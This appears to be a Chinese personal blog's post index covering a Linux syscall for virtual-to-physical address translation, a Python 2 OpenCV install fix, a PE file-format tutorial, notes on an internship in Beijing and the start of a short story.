0; pid_t pid = fork(); if (pid == 0) { //子进程 printf("Pid:%d\\n",getpid()); printf("child: \\n\\tvirtual address:\\t%llx\\n\\tphysical address:\\t%llx\\n", &a, syscall(335, &a)); sleep(2); } else { //父进程 printf("Pid:%d\\n",getpid()); printf("parent: \\n\\tvirtual address:\\t%llx\\n\\tphysical address:\\t%llx\\n", &a, syscall(335, &a)); uintptr_t aptr = &a; uintptr_t aphy = NULL; //子进程中该变量的物理地址 virt_to_phys_user(&aphy, pid, aptr); printf("child:\\n\\tpagemap approach:\\t%llx\\n", aphy); sleep(2); } return 0;}\n\n系统调用:\n#include <linux/kernel.h>#include <linux/syscalls.h>#include <linux/mm.h>#include <linux/hugetlb.h>#include <asm/current.h>#include <asm/pgtable_types.h>SYSCALL_DEFINE1(phy_addr_at, unsigned long, addr) { resource_size_t res = 0; pte_t *pte; spinlock_t *ptlp; if (current->mm == NULL) { printk("error: current process is anonymous."); return -1; } /** * 通过mm_struct获取pgd,即第一级页表,然后根据addr逐级深入, * 最终获得pte,即第四级页表(page table entries)的页表项, * 注意这个过程需要锁ptlp */ follow_pte(current->mm, (unsigned long)addr, &pte, &ptlp); // 从pte表项中提取pfn,即物理页地址 unsigned long pfn; pfn = pte->pte; pfn ^= (pfn && !(pfn & _PAGE_PRESENT)) ? ~0ull : 0; pfn = (pfn & PTE_PFN_MASK) >> PAGE_SHIFT; // 由物理页地址以及当前虚拟页偏移得到实际物理地址 res = (pfn << PAGE_SHIFT) (addr & ~(~0 << PAGE_SHIFT)); // 注意释放资源 pte_unmap_unlock(pte, ptlp); return (unsigned long long)res;}\n\n参考M4tsuri师傅的作业(加个系统调用在别的学校是小作业,在我这就是课程设计了……)。\n\n插画ID:96984236\n","categories":["Note","操作系统"]},{"title":"记python2安装Opencv-python库报错解决方案","url":"/2021/02/08/opencv-error/","content":"报错信息:\n\n调错思路:(感谢群里师傅提供的帮助)\necho $EXT_SUFFIX\n无任何回显。\n估计报错原因是EXT_SUFFIX环境变量缺失导致list()的参数为空,网上查询到该环境变量是python3独有的,说明该版本opencv不支持python2,那么就要去查询opencv最后支持的python2版本。\n解决方案:\npip2 install opencv-python==4.2.0.32\n\n反思:\n最终只是修改了一下安装的版本便不再报错,算是明白看不懂报错信息是多么致命的缺陷了…..\n个人并没有细究python的种种,平日也很少用到这一语言。这次的错误算是给自己一个教训吧,总之要先把错误报告看懂,再思考怎么解决……\n","categories":["Note","杂物间"],"tags":["python"]},{"title":"PE结构详解","url":"/2021/02/25/pe01/","content":"本篇笔记以我个人能够理解为基础,尽可能将其写成其他人也能明白的笔记。如果发现其中存在错误,请务必指正。\n范本与工具:010Editor & Notepad.exe & kernel32.dll\nPE文件种类:\n种类\n主拓展名\n可执行\nEXE / SCR\n驱动程序\nSYS / VXD\n库\nDLL / OCX / CPL / DRV\n对象文件\nOBJ (但这并不是可执行的,在逆向分析中不怎么需要关心)\n正经的PE结构头包括:\n DOS头(DOS header) & DOS存根(Dos Stub) & 节区头(Section header) & NT头(NT header)\n    其中,NT头包括了 文件头 与 可选头 。而节区头包括了 .text / .bss / .rdata / .data / .rsrc / .edata / .idata / .pdata / .debug 这九个预定义段,其分别规定了不同区块的访问权限、特性等内容。但并不是说每个应用程序都一定要规规矩矩的保留这些义段,对于那些用不到的区段是在程序中没有的,这一点可以自行打开程序确认。\n(比如:Notepad.exe只有 .text / .data / .rsrc 这三个义段和节区)\n(节区头的作用:PE文件包含多个节区,其包括了 Code节区 / Data节区 / Resource节区 等诸多节区,正因为节区之间相互区分,所以需要规定好程序可以对 一个节区做些什么 ,因此需要在节区头中去规定。所以这些义段和节区是一一对应的关系。)\n    PE头的详细内容将在下面写出,但在此之前,我觉得有必要先介绍一下VA,RVA等内容。以下也是些一概而论的东西,细节都将在之后解释。\n    VA(Virtual Address):虚拟地址。\n    RVA(Relative Virtual Address):相对虚拟地址\n    FOA(File Offset Address):文件偏移地址。但是在很多地方并不这么称呼,他们会用FA,RAW来称呼FOA,实际上是一个东西。\n    Image Base:模块地址。指可执行文件加载到内存的时候所在的位置。\n    虚拟地址间的关系:\n\n    在很多时候,将一个程序加载到内存的时候,他的实际物理地址是不确定的。但文件总不会自己去寻址,必须要有人事先告诉他将要调用的函数在什么地方,如果用实际地址去描述的话,将会变得十分困难。为解决这个问题,人们构造出了“虚拟地址”的概念。将一个文件载入内存的时候,不管他被载入到了什么地方,都将其头地址映射到一块规定大小的虚拟地址空间(虚拟内存空间的大小可能比实际加载进内存所用的大小还大),之后在调用任何一个函数的时候,都只需要访问虚拟地址即可。\n    但实际在访问的时候,也不是直接访问虚拟地址(特别是对DLL等动态链接库),而是利用RVA来访问。比方说初始位置在0x1000,而某个函数在0x1400,则在访问该函数的时候通过0x1000+0x400来访问(RVA即是指0x400)。之所以这样,还是因为PE文件加载进内存的时候,也可能发生“当前位置已经被占用”的问题,但加载必然是按顺序进行的,所以相对位置不会发生变化。\n    (注:我觉得这样解释还是有些晦涩,所以再换了一种说法————将一个文件加载进内存,但现在我们无法知道其实际地址被放到了哪里。但我们一定清楚,我们想要调用的函数在文件开头往下找0x400的地方,那么程序在访问的时候将虚拟地址基址加上这个RVA就能找到实际的虚拟地址,然后再映射回去就能到达实际的物理地址。)\n    接下来将详细对PE头的内容进行介绍,这里用Notepad.exe来示范。将其用010Editor打开(用Hex Editor也行,但010的自动识别功能会在这里提供很大的方便,对我来说减少了很多不必要的烦恼……)\n​\n    如图,010会将上述的PE结构头全都识别出来,并标好位置等。这将为接下来的介绍减少很多不必要的检索操作。\nDOS头:\n    对应IMAGE_DOS_HEADER。在Microsoft Platform SSDK-winnt.h中可以找到他的成员,实际上就是一个C语言中的结构体。(通常是64字节的大小,但一些可以为缩减而设计的PE文件惊人的小,整个PE文件都只有97字节。但那都是特例,在学习过程中,我们可以权且将PE头每个部分都当作固定长度的结构体理解,不需要在意那些特例)\n(注:结构体代码放在结尾,其成员在下图可见)\n​\n    MZSignature:DOS签名(4D5A经过ASCII值转换会为“MZ”,但图中写的是5A4D,这与Intel系列的CPU储存方式有关,该方法被称为“小端序标识法”,具体内容可自行搜索了解,在汇编的学习过程中,教科书上通常也会有介绍)。在一些书中,作者将把这一栏称之为e_magic**(原因出自于结构体定义的时候写下的名称,但几经迭代后可能就变得不一样了)。另外,MZ取自DOS可执行文件设计者的名字首字母**。\n    AddressOfNewExeHeader:指示NT头的偏移(不同文件可能有不同的值,也被称之为e_lfanew),但注意,其数值应为000000E0(小端序)。\nDOS存根:\n    比较特殊的一项,即便没有这个结构体,程序也能在Windows下运行。但在DOS环境下,将会执行DOS存根中保留的代码。在本例中,将其在DOS环境下将会输出“This program cannot  be run in DOS mode”后退出(具体的执行方式可以查看其汇编代码)。(所用用这个特性也能做很多乱七八糟的事情,比如在EXE文件中创建另一个文件,然后支持DOS和Windows两个环境等)\nNT头:(大小为F8)\n    Signature:签名。(同DOS签名相似,其数值经ASCII转换后为”PE”)\n IMAGE_FILE_HEADER文件头:(FileHeader)​\n    Machine:每个CPU都有唯一的Machine码,算是一种规定。\n#define IMAGE_FILE_MACHINE_I386 0x14c // Intel 386.\n\n\n    诸如这样的定义,其表示兼容32位的Intel x86芯片。Notepad中的Machine码即位14C。类似的定义还有很多很多,细节可自查。\n    NumberOfSections:用于指出文件中存在的节区数量。(如果实际的节区数和这里记录的不一样,运行的时候会出错)\n    SizeOfOptionalHeader:用于指出IMAGE_OPTIONAL_HEADER32结构体的长度。(其实这一项是给PE装载器看的,结构体的长度都是固定好了的,不会因为这一项数值改变而改变)\n    Characteristics:用于标识文件的属性。这一栏的属性比较不好逐个说明,详细的内容放在最后的附录里面,可自行对照每一栏的用处。\n    TimeDataStamp:标识文件被编译器创建的时间。(应该是没太大用处的一项)\n IMAGE_OPTIONAL_HEADER32可选头:(OptionalHeader)\n​\n    这一栏太大了,以至于我没办法一张屏幕把全部都包括进图里……\n    Magic:标识32位与64位的标记(10B——32位,20B——64位)。\n    AddressOfEntryPoint:EP(EntryPoint)的RVA值。指出最先执行的代码的位置。\n    ImageBase:指出文件的优先装入地址(32位的虚拟内存的范围在0~FFFFFFFF,不同类型的文件回被写入不同的值。在执行的时候,PE装载器创建进程后,将会把EIP寄存器的值设定为ImageBase+AddressOfEntryPoint)\n    SectionAlignment / FileAliganment:前者指定了节区在内存中的最小单位,后者指定了节区在磁盘中的最小单位。(磁盘文件或内存的节区大小一定和这二者成整数倍)\n    SizeOfImage:指定PE Image在虚拟内存中所占的空间的大小。\n    SizeOfHeaders:用于指出整个PE头的大小。\n    Subsystem:标识文件的类型。\n值\n含义\n备注\n1\nDriver\n系统驱动(如:ntfs.sys)\n2\nGUI\n窗口应用程序(如:notepad.exe)\n3\nGUI\n控制台应用程序(如:cmd.exe)\n    NumberOfRvaAndSize:指定DataDirectory数组(本例中也叫DataDirArray)的个数。\n    **DataDirectory(DataDirArray)**:这些数组里只有两个元素,VirtualAddress和Size。这些内容能够用于计算RAW的实际地址。\nIMAGE_SECTION_HEADER节区头:\n    能够规定不同节区的特性、访问权限等内容。同样按照数组的方式排列。一个单元对应一个节区。\n​\n    VirtualAddress:内存中节区的起始地址\n    VirtualSize:内存中节区的大小\n    SizeOfRawData:磁盘文件中节区所占的大小\n    PointerToRawData:磁盘文件中节区的起始位置\n    Characteristics:节区属性\n    其中,VA和PTRD(都是简写)不带任何值,由SectionAlignment和FileAlignment决定。\nRVA to RAW:\n\n    公式如上。在了解了以上信息后,即可通过该公式计算出RAW的值了。\n    范例:以Notepad.exe为例。在节区头的第一个单元中可找到VA=1000h,以及PointerToRawData=400h。\n    而RVA在DataDirArray中IMAGE_DATA_DIRECTORY Import中可见。其值为7604h。最后得出RAW=6A04h\n    (可能会有人和我一样开始疑惑为什么RVA是这个值。事实上这个值是随意规定的,这个公式的目的是“我知道RVA,现在想计算RAW”,所以其实可以随意设定RVA值。但有必要说明的是,不同的RVA值会处在不同的节区中,例如RVA=5000就在.text节区中,所以才到节区头中的第一个单元找VirtualAddress和PointerToRawData)\n    (如果你直接在010中转到6A04这个位置,你会发现它确实对应了了comdlg32.dll的数据块起始位置)\n​\n动态链接库DLL:\n    加载DLL的方式主要有两种——“显示链接”(用到时加载,用完就释放)和“隐式链接”(程序开始时加载,程序结束时释放)。而IAT提供的机制与隐式链接有关。如果使用OD或者x64dbg等反汇编软件打开范例,将在其调用函数的时候发现其写法套用了两层(call 1001104,而1001104处的值为7C8107F0,然后才是7C8107F0地址处存放的函数)。其中,1001104是一个固定的值,但7C8107F0则根据操作系统的不同而出现差异,于是在加载程序的时候,PE装载器会将正确的地址装入1001104处,以保证程序在各种环境下都能够正常使用(这样做的理由很多,除了让其能在多平台兼容外,也有因为实际地址可能出现不同的原因存在)。\n​\n    以该链接库为例。\n    库名称Name:在注释里就有标出。通过7990算处RAW后直接查找过去,也能找到comdlg32.dll的字符串。\n    **OriginalFirstThunk(INT)**:包含函数导入信息的结构体指针。通过相同的方法到达6D90可见多个指针。(这实际上是一个数组,以NULL结尾,所以到00000000的时候就算结束了)\n​\n    自7A7A开始,每4个字节代表了一个指针。如果跟入7A7A(算出的RAW为6E7A),就能找到函数的名称。(名称也是数组,同样用\\0结尾。而000F为库内的函数的编号)\n​\n    **导入地址表FirstThunk(IAT——Import Address Table)**:将12C4换为RAW=6C4,跟入。\n​\n    标蓝的区段即为IAT数组区域,对应了comdlg32.dll库。与INT类似,也用NULL结尾,以结构体指针为成员。\n    但76344906这个指针没有实际意义,当程序加载的内存的时候,准确的地址值会取代这个数值(这其中大概是PE装载器做了很多,但我不太了解这个东西)。\nEAT:\n IMAGE_EXPORT_DIRECTORY:\n​\n    NumberOfFunction:实际Export函数的个数\n    NumberOfNames:Export函数中有名字的函数个数、\n    AddressOfFunctions:Export函数地址数组\n    AddressOfNames:函数名称地址数组\n    AddressOfNameOrdinals:Ordinal地址数组\n    实际上,从库中获取函数需要调用GetProcAddress()函数。以下为该过程的流程。\n    首先,利用AddressOfNames成员转到函数名称位置。通过比较字符串的方法,查找到我们所想要的函数名称(这时候该数组的索引是name_index)。(可以假设我们在AddressOfNames[2]的位置找到了目标的名称,那么index=2)\n    再利用AddressOfNameOrdinals数组找到对应的Ordinal值。(上一步找到了Index=2,AddressOfNameOrdinals[Index]=Ordinal,所以Ordinal=2)\n    通过AddressOfFunctions和刚才获得的Ordinal值即可在AddressOfFunctions数组中获取目标函数的地址。(AddressOfFunctions[Ordinal]=目标函数的RVA)\n最后是一些定义:\ntypedef struct _IMAGE_DOS_HEADER { // DOS .EXE header WORD e_magic; // Magic number WORD e_cblp; // Bytes on last page of file WORD e_cp; // Pages in file WORD e_crlc; // Relocations WORD e_cparhdr; // Size of header in paragraphs WORD e_minalloc; // Minimum extra paragraphs needed WORD e_maxalloc; // Maximum extra paragraphs needed WORD e_ss; // Initial (relative) SS value WORD e_sp; // Initial SP value WORD e_csum; // Checksum WORD e_ip; // Initial IP value WORD e_cs; // Initial (relative) CS value WORD e_lfarlc; // File address of relocation table WORD e_ovno; // Overlay number WORD e_res[4]; // Reserved words WORD e_oemid; // OEM identifier (for e_oeminfo) WORD e_oeminfo; // OEM information; e_oemid specific WORD e_res2[10]; // Reserved words LONG e_lfanew; // File address of new exe header } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;\n\n\ntypedef struct _IMAGE_FILE_HEADER { WORD Machine; WORD NumberOfSections; DWORD TimeDateStamp; DWORD PointerToSymbolTable; DWORD NumberOfSymbols; WORD SizeOfOptionalHeader; WORD Characteristics;} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;\n\n\ntypedef struct _IMAGE_OPTIONAL_HEADER { // // Standard fields. // WORD Magic; BYTE MajorLinkerVersion; BYTE MinorLinkerVersion; DWORD SizeOfCode; DWORD SizeOfInitializedData; DWORD SizeOfUninitializedData; DWORD AddressOfEntryPoint; DWORD BaseOfCode; DWORD BaseOfData; // // NT additional fields. // DWORD ImageBase; DWORD SectionAlignment; DWORD FileAlignment; WORD MajorOperatingSystemVersion; WORD MinorOperatingSystemVersion; WORD MajorImageVersion; WORD MinorImageVersion; WORD MajorSubsystemVersion; WORD MinorSubsystemVersion; DWORD Win32VersionValue; DWORD SizeOfImage; DWORD SizeOfHeaders; DWORD CheckSum; WORD Subsystem; WORD DllCharacteristics; DWORD SizeOfStackReserve; DWORD SizeOfStackCommit; DWORD SizeOfHeapReserve; DWORD SizeOfHeapCommit; DWORD LoaderFlags; DWORD NumberOfRvaAndSizes; IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;\n\n\ntypedef struct _IMAGE_OPTIONAL_HEADER64 { WORD Magic; BYTE MajorLinkerVersion; BYTE MinorLinkerVersion; DWORD SizeOfCode; DWORD SizeOfInitializedData; DWORD SizeOfUninitializedData; DWORD AddressOfEntryPoint; DWORD BaseOfCode; ULONGLONG ImageBase; DWORD SectionAlignment; DWORD FileAlignment; WORD MajorOperatingSystemVersion; WORD MinorOperatingSystemVersion; WORD MajorImageVersion; WORD MinorImageVersion; WORD MajorSubsystemVersion; WORD MinorSubsystemVersion; DWORD Win32VersionValue; DWORD SizeOfImage; DWORD SizeOfHeaders; DWORD CheckSum; WORD Subsystem; WORD DllCharacteristics; ULONGLONG SizeOfStackReserve; ULONGLONG SizeOfStackCommit; ULONGLONG SizeOfHeapReserve; ULONGLONG SizeOfHeapCommit; DWORD LoaderFlags; DWORD NumberOfRvaAndSizes; IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];} IMAGE_OPTIONAL_HEADER64, *PIMAGE_OPTIONAL_HEADER64;\n\n\ntypedef struct _IMAGE_NT_HEADERS { DWORD Signature; IMAGE_FILE_HEADER FileHeader; IMAGE_OPTIONAL_HEADER32 OptionalHeader;} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;\n\n\n#define IMAGE_FILE_MACHINE_UNKNOWN 0#define IMAGE_FILE_MACHINE_TARGET_HOST 0x0001 // Useful for indicating we want to interact with the host and not a WoW guest.#define IMAGE_FILE_MACHINE_I386 0x014c // Intel 386.#define IMAGE_FILE_MACHINE_R3000 0x0162 // MIPS little-endian, 0x160 big-endian#define IMAGE_FILE_MACHINE_R4000 0x0166 // MIPS little-endian#define IMAGE_FILE_MACHINE_R10000 0x0168 // MIPS little-endian#define IMAGE_FILE_MACHINE_WCEMIPSV2 0x0169 // MIPS little-endian WCE v2#define IMAGE_FILE_MACHINE_ALPHA 0x0184 // Alpha_AXP#define IMAGE_FILE_MACHINE_SH3 0x01a2 // SH3 little-endian#define IMAGE_FILE_MACHINE_SH3DSP 0x01a3#define IMAGE_FILE_MACHINE_SH3E 0x01a4 // SH3E little-endian#define IMAGE_FILE_MACHINE_SH4 0x01a6 // SH4 little-endian#define IMAGE_FILE_MACHINE_SH5 0x01a8 // SH5#define IMAGE_FILE_MACHINE_ARM 0x01c0 // ARM Little-Endian#define IMAGE_FILE_MACHINE_THUMB 0x01c2 // ARM Thumb/Thumb-2 Little-Endian#define IMAGE_FILE_MACHINE_ARMNT 0x01c4 // ARM Thumb-2 Little-Endian#define IMAGE_FILE_MACHINE_AM33 0x01d3#define IMAGE_FILE_MACHINE_POWERPC 0x01F0 // IBM PowerPC Little-Endian#define IMAGE_FILE_MACHINE_POWERPCFP 0x01f1#define IMAGE_FILE_MACHINE_IA64 0x0200 // Intel 64#define IMAGE_FILE_MACHINE_MIPS16 0x0266 // MIPS#define IMAGE_FILE_MACHINE_ALPHA64 0x0284 // ALPHA64#define IMAGE_FILE_MACHINE_MIPSFPU 0x0366 // MIPS#define IMAGE_FILE_MACHINE_MIPSFPU16 0x0466 // MIPS#define IMAGE_FILE_MACHINE_AXP64 IMAGE_FILE_MACHINE_ALPHA64#define IMAGE_FILE_MACHINE_TRICORE 0x0520 // Infineon#define IMAGE_FILE_MACHINE_CEF 0x0CEF#define IMAGE_FILE_MACHINE_EBC 0x0EBC // EFI Byte Code#define IMAGE_FILE_MACHINE_AMD64 0x8664 // AMD64 (K8)#define IMAGE_FILE_MACHINE_M32R 0x9041 // M32R little-endian#define IMAGE_FILE_MACHINE_ARM64 0xAA64 // ARM64 Little-Endian#define IMAGE_FILE_MACHINE_CEE 0xC0EE","categories":["Note","杂物间","逆向工程"],"tags":["PE"]},{"title":"实习随想与踩坑记录","url":"/2022/09/07/record-202209/","content":"大二的暑假时开始了自己第一次的实习,也是第一次一个人处理各种各样的事情。实习地点在北京知道创宇 404 实验室,由于在当地并没有认识什么熟人,所以很多事情都要自己去处理,虽然遇上了很多麻烦,但最后姑且是安定下来开始实习了。\n而本文写于实习结束一段时间后,在我离开北京一段时间以后有些感冒,学习进度一直没办法推进,闲来无事,坐在房间里慢慢整理这段时间的内容。如果您也有打算去外地学习,或许本文能提供一些建议。\n\n关于面试有关面试的问题我并未记录,目前来说也没背过面经,给我面试的师傅也不知道是北京的还是其他支部的人。最后能被招进 404 实验室大概有很多运气成分。也很感谢带我师傅,教了我不少东西。\n个人觉得实习的面试并没有说非常难,有可能就是招进去打个杂,可能有的师傅会觉得自己比较菜,不过个人来说还是建议试试看,毕竟没进的话也不过就是再学一年,下一年还是可以再投简历的。投进了自然就能去实习了。个人来说,哪怕只是参加一个面试,对自己来说也不会吃亏。\n关于住宿因为我是一个人去北京工作,当时并没有其他认识的人跟我一起,所以当时没办法选择和同伴一起合租酒店。\n在北京,租房的租金可能也比其他地方高,至少比我学校附近要高不少。以我个人的情况来说,我当时是选则了合租,月租两千,押金两千,而且因为是短租,所以需要一次性付清。两个月的房租加上水电和物业费将近七千,属于是前脚刚到就大出血了。\n但说是合租,我并不认识合租人。当时是在 app 上找到了物业,然后直接从物业这边签的租房合同,没有中介费是个好事,而且住小区相对来说会安全一点。当时的房子是三人合租,大概都是同一个人负责的,我是最后一个搬进去的,隔壁是一个姐姐和一个大哥。\n最开始我还在用流量,不过流量确实不够用。和隔壁的大哥商量了一下,它就把网借我用了。我当时说是自己出网费,不过大哥人好,没收我的网费。\n\n不过在第二个月中旬,大哥就搬走了,然后我和隔壁的姐姐商量了一下,她也把网借我用了,而且也没收我的网费……(一天一元的移动网,两个人都吐槽过网很差)\n\n租房的坑但是租房的麻烦就是,你所有的生活用品还要自己去买,这又要花上百来块。我租的房间只有一张桌子、一把椅子、一个床垫,以及两个空衣柜,然后厕所和洗衣机是三人共用的。没有阳台,窗帘的横栏上面挂了几根鞋带,似乎是上一个租户留下来的,衣服就直接挂在那个上面。当时的房间电源不够,一个插排都要五十多。并且最开始进去的时候,空调还不制冷,正好是暑假比较热的时期,晚上没枕头也没空调,觉都睡不好,最后还是一周之后才派人来修,属于是恶心人。\n所以建议情况跟我相似的师傅还是尽量住酒店,能少 80% 的麻烦。而且大部分酒店都是双人间,如果是两个人合租,价格就更便宜了。不过选址要花点时间。\n我当时的房间租在孙河,高德地图查的通勤时间大概是 50 分钟,但是每天早上上班时会有非常严重的堵车,大概要 80 分钟才能到,还好第一天报到没有记入考核,不然当天就要被踢掉了(第一天报道就迟到了一个小时)。\n而公司一般都在朝阳和海淀,公司附近的房租肯定都更贵,我的房间还算是比较便宜,且通勤勉强能接受的情况。\n如果师傅选择住酒店,那就没有这种麻烦,因为酒店的价格基本上都差不多,只要不选那种商务间或者假日酒店之类的,大部分酒店的双人间或者多人间价格其实都在 150~300 之间。平摊以后根据情况是可以把月租压在三千以内的,甚至两千。(听上去有点离谱,但这是真的,只要你找的途径比较广。因为我当时就找到了那种租金很低的酒店。而且如果是长租,可以提前打电话问一下能不能打折,很多时候是可以的)\n另外一种更便宜的情况是,找那种青年旅社,基本上都是宿舍是一样的环境,唯一的缺点就是没有个人空间,很多事情可能不太自由,但租金也是真的低,两千以内都有很多选择。\n一综上所述,如果你的月薪或者底蕴能够接受,我最推荐的就是住酒店,事少且轻松,环境也好。\n二如果酒店对你来说比较贵,那我建议你租房,租金相对较低且比较自由。但缺点是,你需要自己鉴别什么地方能租,什么地方不能租,尤其是一些看起来非常优厚的房间。\n\n在贝壳租房上面可能会找到那种看起来环境很棒的独栋或者单间,你签合同的时候需要注意签了多久。因为它们可能会让租客签一年的合同,但跟租客说住几个月付几个月,但是最终退租的时候会让租客找好下家,否则不给退押金。\n我当时就是嫌弃这种很烦,没选贝壳上面的这些。而且贝壳上面很多也有中介费,哪怕是两千租金,算下来还是多花了不少。\n\n另外一种比较推荐的租房方式是,早一点到北京,然后在一些小区附近的公交站待着。\n我当时到北京之后才注意到,我小区楼下的公交站旁边,白天会有好几个人站在那边举着租房的牌子或者架在电动车前面。单间基本上都是一千起步,价格比网上看的更低,而且基本上你如果愿意去看,他们直接就用电动车载你过去现场看房了,而且似乎也没有中介费,他们好像是赚房东的佣金。\n但缺点是,你必须提早到实地去,并且在找到合适的住房以前先在酒店之类的地方租住。而且仍然需要自己跑,除此之外的麻烦并不比上一种少。\n三最后是青年旅舍,价格便宜但环境最差。价格便宜但随机性强,很多时候付了钱就没办法退了,之后才发现没办法和室友相处就逃不掉了。如果要去投诉什么的,最后大概率还是能退的,但是这可要比上面更麻烦,而且不清楚要花多少时间。\n关于通勤北京地铁是挺方便的,但是当时租房附近是没有地铁站的,单车大概要骑 15 分钟。不过有的时候比较赶,还是会骑单车去做地铁。因为早上的公交路线非常堵,我基本上都是早上八点之前出发,然后尽量在九点以前到公司。如果早上八点半出发,堵车时间大概会增加半个小时。七点到九点这段时间,基本上拥堵程度会随时间变强,所以公交上班的师傅可能要注意一下。\n地铁的话就没这种烦恼,基本上都是准点到达,不会堵车。但麻烦的是,真的非常拥挤。因为我之前没怎么坐过大城市的地铁,还以为所谓的拥挤也就是公交车上人挤人的状况。但实际情况是,真的会有连落脚点都找不到的时候。因为公交车上基本上很挤了就不会让人上了,但地铁没人管,上班时间就会死命往里挤……\n当然,如果住的近,走路或者单车上班就没这些麻烦了,不过实习工资一般都不高,而一线城市基本都是这个情况,师傅们自己权衡吧。\n关于疫情疫情是无可奈何的事情,在中国目前的环境下,平民遭遇疫情就只能自认倒霉了。暑假开始的前几个月北京就出现了疫情,当时封控了一阵子之后逐步放开,然后是又是上海开始疫情。到暑假的时候,两个地方的疫情都基本被控制了,加上我自己的学校所在地没有疫情,因此入京并不会很难。\n但麻烦的是,因为我暑假结束打算返校,因此如果到时候爆发疫情再次封控,肯定就没办法返校了。在这方面,个人来说,再如何考虑都是无能为力的。只要不打消实习的念头,北上广深总要挑一个,就算去成都武汉或者其他地方,也都是这样。如果担心疫情爆发无法返校,除了最开始就不去实习以外,没有更好的方法。\n\n事实上,我在北京实习结束以后去了趟贵州。从疫情开始以来,我相信您基本上没听说过贵州有爆发过很严重的疫情。\n但就在我快要从贵州返回的时候,贵州爆发了疫情,出现了好几个高风险区。时间大概是今年九月份。\n所以只要疫情防控的政策没有改变,在哪都有可能遇上疫情。这种没办法主动规避的意外基本上没有什么好办法避免。\n\n关于吃饭北京的物价比我学校高了不少。平常在学校这边点一顿饭大概十五以内搞定,但北京基本上不超过三十就是幸运了。\n我实习的公司每天中午都会几个人一起去附近的餐馆吃饭,每顿都是二五左右,每周都会吃一次三十多的拌面……从这里考虑的话,食物开销也是一笔不小的支出了。\n我估计一线城市基本都是这个价位,点外卖的情况,除了最开始还能开个月卡会员,靠无门槛红包吃几顿十几块钱的饭,之后的食物就基本上恢复这个价位了。一般一日两餐的情况下,一天的伙食大约要五十左右,而一日三餐可能就要到六十多了。公司楼下的包子店里卖的包子,一个小小的豆沙包都要三块钱还是五块钱……(第一次去上班的时候买了一个,惊于其价格高昂,从此就再没在附近吃过早餐了)\n\n也有可能是我不会吃饭吧,如果不计后果的吃饭,大概可以更便宜,但一顿正常的、适合普通人吃的饭,大概都是这个价格了。像是外卖里常见的那种烤肉饭,大概是最便宜的一类了,我没少吃过,一顿大概 18 左右。\n但是如果和别人合租,吃饭是几个人一起吃的话,还是能相对便宜一点的。只要能避免各点各的,靠着满减红包,偶尔能把价格压在二十出头。\n\n关于延期返校和离职麻烦快开学了就差不多要离职了,我这边只要提前跟老大说一声,然后在 OA 上发离职流程,之后到正常离职就行了。一般这个周期在 3-5 天左右,不过听说有的公司需要提前半个月,这就不太清楚了。\n不知道有没有师傅会遇到跟我差不多的情况。按照正常返校的话,大概月底干到 25 号离职,然后月初返校,中间的间隔也就 5 天。因为房租基本上是按月付,如果延期返校的话,就意味着要多租一个月了。\n\n比方说我,延期返校是 12 号,这意味着我如果续租就只能住 12 天,但是房租却要付一个月。但如果去住酒店,按照一天百来块的计算,十几天也是一千多了,还是很难避免亏损。\n\n所以这种情况下基本上要么续租或者住酒店然后继续工作,毕竟薪水是按日计算,干几天给几天,争取用薪水覆盖这几天的住房开销。不过基本上都没办法阻止亏损,除非自己的日新确实很高,毕竟双休日是不计工资的。\n\n我比较菜,所以只能拿到这么点,不过大佬们要是能拿到日薪五六百的话,每天住高档酒店都够了。\n\n要么就是回家。由于我自己家离北京太远,高铁/飞机的车/机票开销都够我住一个星期左右了,所以怎么考虑都是亏损的。\n\n唯独没有提前返校的选择。鬼知道校领导咋想的,就是不让学生提前进校,如果提前回学校,最后还是要在学校附近是酒店住到返校日为止。反正挺恶心人的。\n\n关于学习我个人属于那种需要满足一定的环境条件和时间条件才能够学的进去的类型。实习期间其实大多数时候都不满足我自己对学习的需求。因此开始工作以后,尤其是打杂工作居多的情况,其实我自己是不太能学的下去的。\n简单来说,我自己的学习要求是,能有一段足够长的连续性的时间用于只学某一个东西,且不用在乎其他事情是否有可能被延期的情况。\n这个条件和我自己的实习环境其实不太吻合。最开始让我研究 V8 的时候,因为老大没有布置其他任务,所以那段时间比较投入,写了几篇文章,也复现并分析了几个漏洞,姑且还算顺利。不过后来又被拉回去继续干杂活,让我一半搞 V8,一半干杂活,其实也并没有太大问题,但是越往后,有几次杂活的进度比较慢,然后就去赶杂活的进度,导致 V8 就被耽搁了,正好自己研究的部分比较麻烦,需要一段较长的时间去搞,可能也是我自己干活的效率不高导致的,总之最后就没啥时间继续研究 V8 了。\n归根结底可能还是我太菜了,很多东西虽然能搞,但效率一定不如那些比较强的人,渐渐就把自己拖垮了。\n当然,实习也同样学到了很多东西,但这些东西未必就是最开始想要学的东西。如果师傅打算抱着学习的目的去实习的话,我认为哪怕自己暑假回家,多泡泡图书馆,效率或许比实习要高不少,毕竟不需要把时间和精力耗费在那些极其麻烦的事情/意外上。\n关于其他以上内容是我整理时姑且能够想到的,它或许并不完整。如果您在阅读时对某些方面抱有疑问,也欢迎另外与我联系。\n日后若有机会,本篇将会继续更新。\n\n封面ID:96895391\n","categories":["Note","杂物间"],"tags":["实习"]},{"title":"红羊幻梦——随笔杂记","url":"/2021/04/18/reddream/","content":"       匙站在塔罗拉那一望无际的荒原上,这里既没有彩虹,也没有牛羊。有的只是那些乏味的黄褐色枯草和望不到边际的腾跃着尘埃的彼方。他从未离开过塔罗拉,好像双脚扎根在这片贫瘠的土地上,动弹不得。\n       可是现在,他终于打算离开这里了。他的父母早在数年前离世,而他的妻子也在上个月病逝。他的牵挂已经全都断裂,若孤魂野鬼、亦或游离的躯壳,他现在只想出去散散心,找个僻静而安逸的地方,就此结束这平庸而无谓的一生。\n       塔罗拉的人们都习惯把自己葬在这片荒漠里,他们虔诚地信仰着塔罗拉神,相信自己的死亡是回归大地的仪式。于是,满眼都是墓碑,四周净是坟墓。触手可及的漆黑石碑早已被风化,有些未曾相识的人的姓名也不可辨认;那些隐现在尘埃的薄纱中的小小石碑,好像在烈日的灼烤下跳起癫狂的舞。或许这在旁人眼中是一片萧条,但塔罗拉人都觉得——这就是繁荣。\n      抽出一截风蚀裸露的白骨,祭拜其原主之后,匙拄着它继续前行。\n  